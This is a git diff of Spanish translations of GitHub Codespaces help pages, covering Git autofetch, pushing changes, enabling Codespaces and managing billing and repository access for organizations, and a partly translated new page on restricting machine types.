-1. To fetch details of updates for all remotes registered for the current repository, set **Git: Autofetch** to `all`.
-![Enable Git autofetch](/assets/images/help/codespaces/autofetch-all.png)
-1. If you want to change the number of seconds between each automatic fetch, edit the value of **Git: Autofetch Period**.
+1. Haz clic en el botón de **Administrar** en la parte inferior de la barra de actividad. ![Botón de administrar](/assets/images/help/codespaces/manage-button.png)
+1. En el menú, haz clic en **Ajustes**.
+1. En la página de ajustes, busca: `autofetch`. ![Buscar la recuperación automática](/assets/images/help/codespaces/autofetch-search.png)
+1. Para recuperar los detalles de las actualizaciones para todos los remotos registrados para el repositorio actual, configura **Git: Autofetch** en `all`. ![Habilitar la recuperación automática en Git](/assets/images/help/codespaces/autofetch-all.png)
+1. Si quieres cambiar la cantidad de segundos entre cada recuperación automática, edita el valor de **Git: Autofetch Period**.
 
-## Committing your changes 
+## Configramr tus cambios
 
-{% data reusables.codespaces.source-control-commit-changes %} 
+{% data reusables.codespaces.source-control-commit-changes %}
 
-## Raising a pull request
+## Levantar una solicitud de cambios
 
-{% data reusables.codespaces.source-control-pull-request %} 
+{% data reusables.codespaces.source-control-pull-request %}
 
-## Pushing changes to your remote repository
+## Subir cambios a tu repositorio remoto
 
-You can push the changes you've made. This applies those changes to the upstream branch on the remote repository. You might want to do this if you're not yet ready to create a pull request, or if you prefer to create a pull request on {% data variables.product.prodname_dotcom %}.
+Puedes subir los cambios que has hecho. Esto aplica a aquellos de la rama ascendente en el repositorio remoto. Puede que necesites hacer eso si aún no estás listo para crear una solicitud de cambios o si prefieres crearla en {% data variables.product.prodname_dotcom %}.
 
-1. At the top of the side bar, click the ellipsis (**...**).
-![Ellipsis button for View and More Actions](/assets/images/help/codespaces/source-control-ellipsis-button-nochanges.png)
-1. In the drop-down menu, click **Push**.
+1. En la parte superior de la barra lateral, haz clic en los puntos suspensivos (**...**). ![Botón de puntos suspensivos para las acciones de "más" y "ver"](/assets/images/help/codespaces/source-control-ellipsis-button-nochanges.png)
+1. En el menú desplegable, haz clic en **Subir**.
diff --git a/translations/es-ES/content/codespaces/guides.md b/translations/es-ES/content/codespaces/guides.md
index 5607e64f4d..6de9272009 100644
--- a/translations/es-ES/content/codespaces/guides.md
+++ b/translations/es-ES/content/codespaces/guides.md
@@ -1,8 +1,8 @@
 ---
-title: Codespaces guides
-shortTitle: Guides
+title: Guías de codespaces
+shortTitle: Guías
 product: '{% data reusables.gated-features.codespaces %}'
-intro: Learn how to make the most of GitHub
+intro: Aprende cómo sacar el mayor provecho de GitHub
 allowTitleToDifferFromFilename: true
 layout: product-guides
 versions:
diff --git a/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md b/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md
index f534a02538..e0c55f594a 100644
--- a/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md
+++ b/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md
@@ -1,7 +1,7 @@
 ---
-title: Enabling Codespaces for your organization
-shortTitle: Enable Codespaces
-intro: 'You can control which users in your organization can use {% data variables.product.prodname_codespaces %}.'
+title: Habilitar los Codespaces para tu organización
+shortTitle: Habilitar Codespaces
+intro: 'Puedes controlar qué usuarios de tu organización pueden utilizar {% data variables.product.prodname_codespaces %}.'
 product: '{% data reusables.gated-features.codespaces %}'
 permissions: 'To manage user permissions for {% data variables.product.prodname_codespaces %} for an organization, you must be an organization owner.'
 redirect_from:
@@ -17,40 +17,49 @@ topics:
 ---
 
 
-## About enabling {% data variables.product.prodname_codespaces %} for your organization
+## Acerca de cómo habilitar los {% data variables.product.prodname_codespaces %} para tu organización
 
-Organization owners can control which users in your organization can create and use codespaces.
+Los propietarios de organización pueden controlar qué usuarios de tu organización pueden crear y utilizar codespaces.
 
-To use codespaces in your organization, you must do the following:
+Para utilizar codespaces en tu organización, debes hacer lo siguiente:
 
-- Ensure that users have [at least write access](/organizations/managing-access-to-your-organizations-repositories/repository-permission-levels-for-an-organization) to the repositories where they want to use a codespace. 
-- [Enable {% data variables.product.prodname_codespaces %} for users in your organization](#configuring-which-users-in-your-organization-can-use-codespaces). You can choose allow {% data variables.product.prodname_codespaces %} for selected users or only for specific users.
-- [Set a spending limit](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)
-- Ensure that your organization does not have an IP address allow list enabled. For more information, see "[Managing allowed IP addresses for your organization](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization)."
+- Asegurarte de que los usuarios tengan [por lo menos acceso de escritura](/organizations/managing-access-to-your-organizations-repositories/repository-permission-levels-for-an-organization) en los repositorios en donde quieren utilizar un codespace.
+- [Habilitar los {% data variables.product.prodname_codespaces %} para los usuarios en tu organización](#enable-codespaces-for-users-in-your-organization). Puedes elegir permitir los {% data variables.product.prodname_codespaces %} para los usuarios seleccionados o únicamente para los usuarios específicos.
+- [Configurar un límite de gastos](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)
+- Asegúrate de que tu organización no tenga habilitada una lista de direcciones IP permitidas. Para obtener más información, consulta "[Administrar las direcciones IP permitidas en tu organización](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization)".
 
-By default, a codespace can only access the repository from which it was created. If you want codespaces in your organization to be able to access other organization repositories that the codespace creator can access, see "[Managing access and security for {% data variables.product.prodname_codespaces %}](/codespaces/managing-codespaces-for-your-organization/managing-access-and-security-for-your-organizations-codespaces)."
+Predeterminadamente, un codespace solo puede acceder al repositorio desde el cual se creó. Si quieres que los codespaces de tu organización puedan acceder a otros repositorios de organización a los que puede acceder el creador de dichos codespaces, consulta la sección "[Administrar el acceso y la seguridad de los {% data variables.product.prodname_codespaces %}](/codespaces/managing-codespaces-for-your-organization/managing-access-and-security-for-your-organizations-codespaces)".
 
-## Enable {% data variables.product.prodname_codespaces %} for users in your organization
+## Habilitar los {% data variables.product.prodname_codespaces %} para los usuarios en tu organización
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.click-codespaces %}
-1. Under "User permissions", select one of the following options:
+1. Debajo de "Permisos de usuario", selecciona una de las siguientes opciones:
 
-   * **Allow for all users** to allow all your organization members to use {% data variables.product.prodname_codespaces %}.
-   * **Selected users** to select specific organization members to use {% data variables.product.prodname_codespaces %}.
+   * **Usuarios selectos** para seleccionar miembros específicos de la organización que puedan utilizar {% data variables.product.prodname_codespaces %}.
+   * **Permitir para todos los miembros** para permitir que todos los miembros de tu organización utilicen {% data variables.product.prodname_codespaces %}.
+   * **Permitir para todos los miembros y colaboradores externos** para permitir que todos los miembros de tu organización, así como los colaboradores externos, utilicen {% data variables.product.prodname_codespaces %}.
 
-   ![Radio buttons for "User permissions"](/assets/images/help/codespaces/organization-user-permission-settings.png)
+   ![Botones radiales de "Permisos de usuario"](/assets/images/help/codespaces/org-user-permission-settings-outside-collaborators.png)
 
-## Disabling {% data variables.product.prodname_codespaces %} for your organization
+   {% note %}
+
+   **Nota:** Cuando seleccionas **Permitir para todos los miembros y colaboradores externos**, todos los colaboradores externos que hayan agregado información a repositorios específicos podrán crear y utilizar {% data variables.product.prodname_codespaces %}. Se le facturará a tu organización por todo el uso en el que incurrieron los colaboradores externos. Para obtener más información sobre cómo administrar colaboradores externos, consulta la sección "[Acerca de los colaboradores externos](/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization#about-outside-collaborators)".
+
+   {% endnote %}
+
+1. Haz clic en **Save ** (guardar).
+
+## Inhabilitar los {% data variables.product.prodname_codespaces %} para tu organización
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.click-codespaces %}
-1. Under "User permissions", select **Disabled**.
+1. Debajo de "Permisos de usuario", selecciona **Inhabilitado**.
 
-## Setting a spending limit
+## Configurar un límite de gastos
 
-{% data reusables.codespaces.codespaces-spending-limit-requirement %} 
+{% data reusables.codespaces.codespaces-spending-limit-requirement %}
 
-For information on managing and changing your account's spending limit, see "[Managing your spending limit for {% data variables.product.prodname_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)."
+Para obtener más información sobre cómo administrar y cambiar el límite de gastos de tu organización, consulta la sección "[Administrar tu límite de gastos para {% data variables.product.prodname_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)".
diff --git a/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/index.md b/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/index.md
index 554593d26e..2a5c241deb 100644
--- a/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/index.md
+++ b/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/index.md
@@ -13,6 +13,7 @@ children:
   - /managing-encrypted-secrets-for-your-repository-and-organization-for-codespaces
   - /managing-repository-access-for-your-organizations-codespaces
   - /reviewing-your-organizations-audit-logs-for-codespaces
+  - /restricting-access-to-machine-types
 shortTitle: Admnistrar tu organización
 ---
 
diff --git a/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md b/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md
index 1df624ccef..5eb37def8c 100644
--- a/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md
+++ b/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md
@@ -1,7 +1,7 @@
 ---
-title: Managing billing for Codespaces in your organization
-shortTitle: Manage billing
-intro: 'You can check your {% data variables.product.prodname_codespaces %} usage and set usage limits.'
+title: Administrar la facturación para los Codespaces en tu organización
+shortTitle: Administrar la facturación
+intro: 'Puedes verificar tu uso de {% data variables.product.prodname_codespaces %} y configurar los límites de uso.'
 product: '{% data reusables.gated-features.codespaces %}'
 permissions: 'To manage billing for Codespaces for an organization, you must be an organization owner or a billing manager.'
 versions:
@@ -13,36 +13,38 @@ topics:
   - Billing
 ---
 
-## Overview
+## Resumen
 
-To learn about pricing for {% data variables.product.prodname_codespaces %}, see "[{% data variables.product.prodname_codespaces %} pricing](/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces#codespaces-pricing)."
+Para aprender más sobre los precios de los {% data variables.product.prodname_codespaces %}, consulta la sección "[precios de los {% data variables.product.prodname_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces#codespaces-pricing)".
 
 {% data reusables.codespaces.codespaces-billing %}
 
-- As an an organization owner or a billing manager you can manage {% data variables.product.prodname_codespaces %} billing for your organization: ["About billing for Codespaces"](/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces)
+- Como propietario o gerente de facturación de una organización, puedes administrar la facturación de {% data variables.product.prodname_codespaces %} para tu organización: ["Acerca de la facturación para Codespaces"](/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces)
 
-- For users, there is a guide that explains how billing works: ["Understanding billing for Codespaces"](/codespaces/codespaces-reference/understanding-billing-for-codespaces)
+- Hay una guía para los usuarios que explica cómo funciona la facturación: ["Entender la facturación para los Codespaces"](/codespaces/codespaces-reference/understanding-billing-for-codespaces)
 
-## Usage limits
+## Límites de uso
 
-You can set a usage limit for the codespaces in your organization or repository. This limit is applied to the compute and storage usage for {% data variables.product.prodname_codespaces %}:
- 
-- **Compute minutes:** Compute usage is calculated by the actual number of minutes used by all {% data variables.product.prodname_codespaces %} instances while they are active. These totals are reported to the billing service daily, and is billed monthly. You can set a spending limit for {% data variables.product.prodname_codespaces %} usage in your organization. For more information, see "[Managing spending limits for Codespaces](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)."
+Puedes configurar el límite de uso de los codespaces en tu organización o repositorio. Este límite se aplica al uso de cálculo y almacenamiento de {% data variables.product.prodname_codespaces %}:
 
-- **Storage usage:**  For {% data variables.product.prodname_codespaces %} billing purposes, this includes all storage used by all codespaces in your account. This includes all used by the codespaces, such as cloned repositories, configuration files, and extensions, among others. These totals are reported to the billing service daily, and is billed monthly. At the end of the month, {% data variables.product.prodname_dotcom %} rounds your storage to the nearest MB. To check how many compute minutes and storage GB have been used by {% data variables.product.prodname_codespaces %}, see "[Viewing your Codespaces usage"](/billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage)."
+- **Minutos de cálculo:** El uso de cálculo se obtiene con la cantidad actual de minutos que utilizan todas las instancias de {% data variables.product.prodname_codespaces %} mientras están activas. Estos totales se reportan al servicio de facturación diariamente y se cobran mensualmente. Puedes configurar un límite de gastos para el uso de {% data variables.product.prodname_codespaces %} en tu organización. Para obtener más información, consulta la sección "[Administrar los límites de gastos para los Codespaces](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)".
 
-## Disabling or limiting {% data variables.product.prodname_codespaces %}
+- **Uso de almacenamiento:**  Para propósitos de facturación de {% data variables.product.prodname_codespaces %}, esto incluye todo el almacenamiento que se utiliza en todos los codespaces de tu cuenta. Esto incluye todos los que utilizan los codespaces, tales como los repositorios clonados, archivos de configuración y extensiones, entre otros. Estos totales se reportan al servicio de facturación diariamente y se cobran mensualmente. Al final del mes, {% data variables.product.prodname_dotcom %} redondea tu almacenamiento al número de MB más cercano. Para verificar cuántos minutos de cálculo y GB de almacenamiento ha utilizado cualquier {% data variables.product.prodname_codespaces %}, consulta la sección "[Ver tu uso de Codespaces](/billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage)".
 
-You can disable the use of {% data variables.product.prodname_codespaces %} in your organization or repository. For more information, see "[Managing repository access for your organization's codespaces](/codespaces/managing-codespaces-for-your-organization/managing-access-and-security-for-your-organizations-codespaces)."
+## Inhabilitar o limitar los {% data variables.product.prodname_codespaces %}
 
-You can also limit the individual users who can use {% data variables.product.prodname_codespaces %}. For more information, see "[Managing user permissions for your organization](/codespaces/managing-codespaces-for-your-organization/managing-user-permissions-for-your-organization)."
+Puedes inhabilitar el uso de los {% data variables.product.prodname_codespaces %} en tu organización o repositorio. Para obtener más información, consulta la sección "[Administrar el acceso de un repositorio a los codespces de tu organización](/codespaces/managing-codespaces-for-your-organization/managing-access-and-security-for-your-organizations-codespaces)".
 
-## Deleting unused codespaces
+También puedes limitar a los usuarios individuales que pueden utilizar {% data variables.product.prodname_codespaces %}. Para obtener más información, consulta la sección "[Administrar los permisos de los usuarios para tu organización](/codespaces/managing-codespaces-for-your-organization/managing-user-permissions-for-your-organization)".
 
-Your users can delete their codespaces in https://github.com/codespaces and from within Visual Studio Code. To reduce the size of a codespace, users can manually delete files using the terminal or from within Visual Studio Code. 
+You can limit the choice of machine types that are available for repositories owned by your organization. This allows you to prevent people using overly resourced machines for their codespaces. For more information, see "[Restricting access to machine types](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)."
+
+## Borrar los codespaces sin utilizar
+
+Tus usuarios pueden borrar sus codespaces en https://github.com/codespaces y desde dentro de Visual Studio Code. Para reducir el tamaño de un codespace, los usuarios pueden borrar archivos manualmente en la terminal o desde Visual Studio Code.
 
 {% note %}
 
-**Note:** Only the person who created a codespace can delete it. There is currently no way for organization owners to delete codespaces created within their organization.
+**Nota:** Solo la persona que creó un codespace podrá borrarlo. Actualmente no hay forma de que los propietarios de las organizaciones borren los codespaces que se crearon dentro de su organización.
 
 {% endnote %}
diff --git a/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md b/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md
index 10088f39bd..0bb2b29f87 100644
--- a/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md
+++ b/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md
@@ -1,7 +1,7 @@
 ---
-title: Managing repository access for your organization's codespaces
-shortTitle: Repository access
-intro: 'You can manage the repositories in your organization that {% data variables.product.prodname_codespaces %} can access.'
+title: Administrar el acceso de los codespaces de tu organización a los repositorios
+shortTitle: Acceso a los repositorios
+intro: 'Puedes administrar los repositorios de tu organización a los cuales pueden acceder los {% data variables.product.prodname_codespaces %}.'
 product: '{% data reusables.gated-features.codespaces %}'
 permissions: 'To manage access and security for Codespaces for an organization, you must be an organization owner.'
 versions:
@@ -18,18 +18,16 @@ redirect_from:
   - /codespaces/working-with-your-codespace/managing-access-and-security-for-codespaces
 ---
 
-By default, a codespace can only access the repository where it was created. When you enable access and security for a repository owned by your organization, any codespaces that are created for that repository will also have read permissions to all other repositories the organization owns and the codespace creator has permissions to access. If you want to restrict the repositories a codespace can access, you can limit it to either the repository where the codespace was created, or to specific repositories. You should only enable access and security for repositories you trust.
+Predeterminadamente, un codespace solo puede acceer al repositorio en donde se creó. Cuando habilitas el acceso y la seguridad de un repositorio que pertenece a tu organización, cualquier codespace que se cree para dicho repositorio también tendrá permisos de lectura en el resto de los repositorios que pertenezcan a esa misma organización y a los cuales pueda acceder el creador de dicho codespace. Si quieres restringir los repositorios a los cuales puede acceder un codespace, puedes limitarlos a ya sea el repositorio en donde se creó el codespace o a algunos repositorios específicos. Solo debes habilitar el acceso y la seguridad para los repositorios en los cuales confíes.
 
-To manage which users in your organization can use {% data variables.product.prodname_codespaces %}, see "[Managing user permissions for your organization](/codespaces/managing-codespaces-for-your-organization/managing-user-permissions-for-your-organization)."
+Para administrar qué usuarios de tu organización pueden utilizar {% data variables.product.prodname_codespaces %}, consulta la sección "[Administrar permisos de usuarios para tu organización](/codespaces/managing-codespaces-for-your-organization/managing-user-permissions-for-your-organization)".
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.click-codespaces %}
-1. Under "Access and security", select the setting you want for your organization.
-  ![Radio buttons to manage trusted repositories](/assets/images/help/settings/codespaces-org-access-and-security-radio-buttons.png)
-1. If you chose "Selected repositories", select the drop-down menu, then click a repository to allow the repository's codespaces to access other repositories owned by your organization. Repeat for all repositories whose codespaces you want to access other repositories.
-    !["Selected repositories" drop-down menu](/assets/images/help/settings/codespaces-access-and-security-repository-drop-down.png)
+1. Debajo de "Acceso y seguridad", selecciona la configuración que quieras para tu organización.![Botones radiales para adminsitrar los repositorios confiables](/assets/images/help/settings/codespaces-org-access-and-security-radio-buttons.png)
+1. Si eliges "Repositorios seleccionados"; entonces selecciona el menú desplegable y da clic en un repositorio para permitir que los codespaces de éste accedan al resto de los repositorios que pertenecen a tu organización. Repite esto para todos los repositorios cuyos codespaces quieras que accedan al resto de los repositorios. ![Menú desplegable de "Repositorios seleccionados"](/assets/images/help/settings/codespaces-access-and-security-repository-drop-down.png)
 
-## Further Reading
+## Leer más
 
-- "[Managing repository access for your codespaces](/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces)"
+- "[Administrar el acceso a los repositorios para tus codespaces](/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces)"
diff --git a/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types.md b/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types.md
new file mode 100644
index 0000000000..975552f340
--- /dev/null
+++ b/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types.md
@@ -0,0 +1,94 @@
+---
+title: Restricting access to machine types
+shortTitle: Machine type access
+intro: You can set constraints on the types of machines users can choose when they create codespaces in your organization.
+product: '{% data reusables.gated-features.codespaces %}'
+permissions: 'To manage access to machine types for the repositories in an organization, you must be an organization owner.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Codespaces
+---
+
+## Resumen
+
+Typically, when you create a codespace you are offered a choice of specifications for the machine that will run your codespace. You can choose the machine type that best suits your needs. Para obtener más información, consulta la sección "[Crear un codespace](/codespaces/developing-in-codespaces/creating-a-codespace#creating-a-codespace)". If you pay for using {% data variables.product.prodname_github_codespaces %} then your choice of machine type will affect how much your are billed. For more information about pricing, see "[About billing for Codespaces](/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces)."
+
+As an organization owner, you may want to configure constraints on the types of machine that are available. For example, if the work in your organization doesn't require significant compute power or storage space, you can remove the highly resourced machines from the list of options that people can choose from. You do this by defining one or more policies in the {% data variables.product.prodname_codespaces %} settings for your organization.
+
+### Behavior when you set a machine type constraint
+
+If there are existing codespaces that no longer conform to a policy you have defined, these codespaces will continue to operate until they time out. When the user attempts to resume the codespace they are shown a message telling them that the currenly selected machine type is no longer allowed for this organization and prompting them to choose an alternative machine type.
+
+If you remove higher specification machine types that are required by the {% data variables.product.prodname_codespaces %} configuration for an individual repository in your organization, then it won't be possible to create a codespace for that repository. When someone attempts to create a codespace they will see a message telling them that there are no valid machine types available that meet the requirements of the repository's {% data variables.product.prodname_codespaces %} configuration.
+
+{% note %}
+
+**Note**: Anyone who can edit the `devcontainer.json` configuration file in a repository can set a minimum specification for machines that can be used for codespaces for that repository. For more information, see "[Setting a minimum specification for codespace machines](/codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines)."
+
+{% endnote %}
+
+If setting a policy for machine types prevents people from using {% data variables.product.prodname_codespaces %} for a particular repository there are two options:
+
+* You can adjust your policies to specifically remove the restrictions from the affected repository.
+* Anyone who has a codespace that they can no longer access, because of the new policy, can export their codespace to a branch. This branch will contain all of their changes from the codespace. They can then open a new codespace on this branch with a compliant machine type or work on this branch locally. For more information, see "[Exporting changes to a branch](/codespaces/troubleshooting/exporting-changes-to-a-branch)."
+
+### Setting organization-wide and repository-specific policies
+
+When you create a policy you choose whether it applies to all repositories in your organization, or only to specified repositories. If you set an organization-wide policy then any policies you set for individual repositories must fall within the restriction set at the organization level. Adding policies makes the choice of machine more, not less, restrictive.
+
+For example, you could create an organization-wide policy that restricts the machine types to either 2 or 4 cores. You can then set a policy for Repository A that restricts it to just 2-core machines. Setting a policy for Repository A that restricted it to machines with 2, 4, or 8 cores would result in a choice of 2-core and 4-core machines only, because the organization-wide policy prevents access to 8-core machines.
+
+If you add an organization-wide policy, you should set it to the largest choice of machine types that will be available for any repository in your organization. You can then add repository-specific policies to further restrict the choice.
+
+## Adding a policy to limit the available machine types
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.click-codespaces %}
+1. Under "Codespaces", click **Policy**.
+
+   !["Policy" tab in left sidebar](/assets/images/help/organizations/codespaces-policy-sidebar.png)
+
+1. On the "Codespace policies" page, click **Create Policy**.
+1. Enter a name for your new policy.
+1. Click **Add constraint** and choose **Machine types**.
+
+   ![Add a constraint for machine types](/assets/images/help/codespaces/add-constraint-dropdown.png)
+
+1. Click {% octicon "pencil" aria-label="The edit icon" %} to edit the constraint, then clear the selection of any machine types that you don't want to be available.
+
+   ![Edit the machine type constraint](/assets/images/help/codespaces/edit-machine-constraint.png)
+
+1. In the "Change policy target" area, click the dropdown button.
+1. Choose either **All repositories** or **Selected repositories** to determine which repositories this policy will apply to.
+1. Si eliges **Repositorios seleccionados**:
+   1. Da clic en {% octicon "gear" aria-label="The settings icon" %}.
+
+      ![Edit the settings for the policy](/assets/images/help/codespaces/policy-edit.png)
+
+   1. Select the repositories you want this policy to apply to.
+   1. At the bottom of the repository list, click **Select repositories**.
+
+      ![Select repositories for this policy](/assets/images/help/codespaces/policy-select-repos.png)
+
+1. Haz clic en **Save ** (guardar).
+
+## Editing a policy
+
+1. Display the "Codespace policies" page. For more information, see "[Adding a policy to limit the available machine types](#adding-a-policy-to-limit-the-available-machine-types)."
+1. Click the name of the policy you want to edit.
+1. Make the required changes then click **Save**.
+
+## Deleting a policy
+
+1. Display the "Codespace policies" page. For more information, see "[Adding a policy to limit the available machine types](#adding-a-policy-to-limit-the-available-machine-types)."
+1. Click the delete button to the right of the policy you want to delete.
+
+   ![The delete button for a policy](/assets/images/help/codespaces/policy-delete.png)
+
+## Leer más
+
+- "[Managing spending limits for Codespaces](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)"
diff --git a/translations/es-ES/content/codespaces/managing-your-codespaces/index.md b/translations/es-ES/content/codespaces/managing-your-codespaces/index.md
index e761e9a65c..8fd672fa68 100644
--- a/translations/es-ES/content/codespaces/managing-your-codespaces/index.md
+++ b/translations/es-ES/content/codespaces/managing-your-codespaces/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing your codespaces
-intro: 'You can use {% data variables.product.prodname_github_codespaces %} settings to manage information that your codespace might need.'
+title: Administrar tus codespaces
+intro: 'Puedes utilizar los ajustes de {% data variables.product.prodname_github_codespaces %} para administrar la información que pudiera necesitar tu codespace.'
 product: '{% data reusables.gated-features.codespaces %}'
 versions:
   fpt: '*'
@@ -15,4 +15,4 @@ children:
   - /reviewing-your-security-logs-for-codespaces
   - /managing-gpg-verification-for-codespaces
 ---
- 
+
diff --git a/translations/es-ES/content/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces.md b/translations/es-ES/content/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces.md
index e9697dc331..7f1a844a4a 100644
--- a/translations/es-ES/content/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces.md
+++ b/translations/es-ES/content/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces.md
@@ -1,7 +1,7 @@
 ---
-title: Managing repository access for your codespaces
-shortTitle: Repository access
-intro: 'You can manage the repositories that {% data variables.product.prodname_codespaces %} can access.'
+title: Administrar el acceso de tus codespaces a los repositorios
+shortTitle: Acceso a los repositorios
+intro: 'Puedes administrar los repositorios a los cuales pueden acceder los {% data variables.product.prodname_codespaces %}.'
 product: '{% data reusables.gated-features.codespaces %}'
 versions:
   fpt: '*'
@@ -15,15 +15,13 @@ redirect_from:
 
  
 
-When you enable access and security for a repository owned by your user account, any codespaces that are created for that repository will have read permissions to all other repositories you own. If you want to restrict the repositories a codespace can access, you can limit to it to either the repository the codespace was opened for or specific repositories. You should only enable access and security for repositories you trust. 
+Cuando habilitas el acceso y la seguridad de un repositorio que pertenezca a tu cuenta de usuario, cualquier codespace que se cree para este tendrá permisos de lectura en el resto de los repositorios que te pertenezcan. Si quieres restringir los repositorios a los que puede acceder un codespace, puedes limitarlos a ya sea el repositorio para el cual se abrió el codespace o a repositorios específicos. Solo debes habilitar el acceso y la seguridad para los repositorios en los cuales confíes.
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.codespaces-tab %}
-1. Under "Access and security", select the setting you want for your user account.
-  ![Radio buttons to manage trusted repositories](/assets/images/help/settings/codespaces-access-and-security-radio-buttons.png)
-1. If you chose "Selected repositories", select the drop-down menu, then click a repository to allow the repository's codespaces to access other repositories you own. Repeat for all repositories whose codespaces you want to access other repositories you own.
-  !["Selected repositories" drop-down menu](/assets/images/help/settings/codespaces-access-and-security-repository-drop-down.png)
+1. Debajo de "Acceso y seguridad"; selecciona la configuración que quieras para tu cuenta de usurio. ![Botones radiales para adminsitrar los repositorios confiables](/assets/images/help/settings/codespaces-access-and-security-radio-buttons.png)
+1. Si eliges "Repositorios seleccionados", selecciona el menú desplegable y luego da clic en un repositorio para permitir que los codespaces de éste accedan al resto de los repositorios que te pertenecen. Repite esto para todos los repositorios cuyos codespaces quieras que accedan al resto de tus repositorios. ![Menú desplegable de "Repositorios seleccionados"](/assets/images/help/settings/codespaces-access-and-security-repository-drop-down.png)
 
-## Further Reading
+## Leer más
 
-- "[Managing repository access for your organization's codespaces](/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces)"
+- "[Administrar el acceso a los repositorios para los codespaces de tu organización](/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces)"
diff --git a/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/configuring-codespaces-for-your-project.md b/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/configuring-codespaces-for-your-project.md
index 1b2d962e19..fb000eec43 100644
--- a/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/configuring-codespaces-for-your-project.md
+++ b/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/configuring-codespaces-for-your-project.md
@@ -1,6 +1,6 @@
 ---
 title: Introduction to dev containers
-intro: 'You can use a `devcontainer.json` file to define a {% data variables.product.prodname_codespaces %} environment for your repository.'
+intro: 'Puedes utilizar un archivo de `devcontainer.json` para definir un ambiente de {% data variables.product.prodname_codespaces %} para tu repositorio.'
 allowTitleToDifferFromFilename: true
 permissions: People with write permissions to a repository can create or edit the codespace configuration.
 redirect_from:
@@ -21,27 +21,27 @@ product: '{% data reusables.gated-features.codespaces %}'
 
  
 
-## About dev containers
+## Acerca de los contenedores dev
 
-A development container, or dev container, is the environment that {% data variables.product.prodname_codespaces %} uses to provide the tools and runtimes that your project needs for development. If your project does not already have a dev container defined, {% data variables.product.prodname_codespaces %} will use the default configuration, which contains many of the common tools that your team might need for development with your project. For more information, see "[Using the default configuration](#using-the-default-configuration)."
+Un contenedor de desarrollo o contenedor dev es el ambiente que utilizan los {% data variables.product.prodname_codespaces %} para proporcionar las herramientas y tiempos de ejecución que necesita tu proyecto para su desarrollo. Si tu proyecto aún no cuenta con un contenedor dev definido, {% data variables.product.prodname_codespaces %} utilizará la configuración predeterminada, la cual contiene muchas de las herramientas comunes que tu equipo podría necesitar para desarrollar en tu proyecto. Para obtener más información, consulta la sección "[Utilizar la configuración predeterminada](#using-the-default-configuration)".
 
